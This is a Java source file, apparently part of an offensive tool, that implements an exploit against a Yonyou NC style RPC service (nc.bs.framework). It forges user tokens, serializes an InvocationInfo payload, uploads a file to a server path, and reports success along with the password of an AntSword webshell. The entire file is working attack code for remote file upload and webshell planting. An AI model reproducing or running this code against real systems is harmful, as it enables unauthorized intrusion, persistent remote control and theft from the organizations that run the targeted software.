content: package com.r00t.core;
  
  import com.r00t.config.AppConfig;
  import com.r00t.model.ServiceConfig;
  import com.r00t.util.FileUtils;
  import com.r00t.util.HttpUtils;
  import com.r00t.util.TokenGenerator;
  import nc.bs.framework.common.InvocationInfo;
  
  import java.io.ByteArrayOutputStream;
  import java.io.IOException;
  
  public class ExploitExecutor {
      private final String randomFileName;
      private final String serverSavePath;
      private final String randomPassword;
      
      public ExploitExecutor() {
          this.randomFileName = FileUtils.generateRandomString(AppConfig.DEFAULT_FILENAME_LENGTH) + AppConfig.DEFAULT_FILE_EXTENSION;
          this.serverSavePath = AppConfig.DEFAULT_SERVER_PATH + randomFileName;
          this.randomPassword = FileUtils.generateRandomString(AppConfig.DEFAULT_PASSWORD_LENGTH);
      }
      
      public boolean executeExploit(String inputFilePath, String target, ServiceConfig serviceConfig, byte[] content) {
          try {
              String userCode = FileUtils.generateRandomString(AppConfig.DEFAULT_USER_CODE_LENGTH);
              InvocationInfo invInfo = createInvocationInfo(serviceConfig, content, userCode);
              
              for (String token : generateTokens(userCode)) {
                  invInfo.setToken(token);
                  if (HttpUtils.executeExploit(target, serializeInvocationInfo(invInfo), randomFileName)) {
                      printSuccessMessage(serviceConfig, token, target, inputFilePath);
                      return true;
                  }
              }
          } catch (Exception ignored) {}
          return false;
      }
      
      private InvocationInfo createInvocationInfo(ServiceConfig serviceConfig, byte[] content, String userCode) {
          InvocationInfo invInfo = new InvocationInfo(
              serviceConfig.getServiceName(), 
              serviceConfig.getMethodName(), 
              new Class[]{byte[].class, String.class}, 
              new Object[]{content, serverSavePath}
          );
          invInfo.setUserCode(userCode);
          return invInfo;
      }
      
      private String[] generateTokens(String userCode) {
          return new String[]{
              TokenGenerator.generateDefaultToken(userCode),
              TokenGenerator.generateToken(userCode)
          };
      }
      
      private byte[] serializeInvocationInfo(InvocationInfo invInfo) throws IOException {
          ByteArrayOutputStream bos = new ByteArrayOutputStream();
          try (nc.bs.framework.comn.NetObjectOutputStream nos = new nc.bs.framework.comn.NetObjectOutputStream(bos)) {
              nos.writeObject(invInfo);
              nos.finish();
              nos.flush();
          }
          
          byte[] payloadBytes = bos.toByteArray();
          ByteArrayOutputStream out = new ByteArrayOutputStream(4 + payloadBytes.length);
          int len = payloadBytes.length;
          out.write((len >>> 24) & 0xFF);
          out.write((len >>> 16) & 0xFF);
          out.write((len >>> 8) & 0xFF);
          out.write(len & 0xFF);
          out.write(payloadBytes);
          return out.toByteArray();
      }
      
      private void printSuccessMessage(ServiceConfig serviceConfig, String token, String target, String inputFilePath) {
          System.out.println("Exploit successful");
          System.out.println("Use Service Name: " + serviceConfig.getServiceName());
          System.out.println("Use Method Name: " + serviceConfig.getMethodName());
          System.out.println("Use Token: " + token);
          System.out.println("file upload to " + target + "/" + randomFileName);
          if (inputFilePath == null || inputFilePath.isEmpty()) {
              System.out.println("Webshell is AntSword.");
              System.out.println("Password is " + randomPassword);
          }
          try {
              if (!HttpUtils.checkFileUpload(target, randomFileName)){
                  System.out.println("exploit success, but file upload failed");
              }
          } catch (IOException e) {
              System.out.println("exploit success, but file upload verification failed");
          }
      }
      
      public String getRandomFileName() { return randomFileName; }
      public String getRandomPassword() { return randomPassword; }
  }
  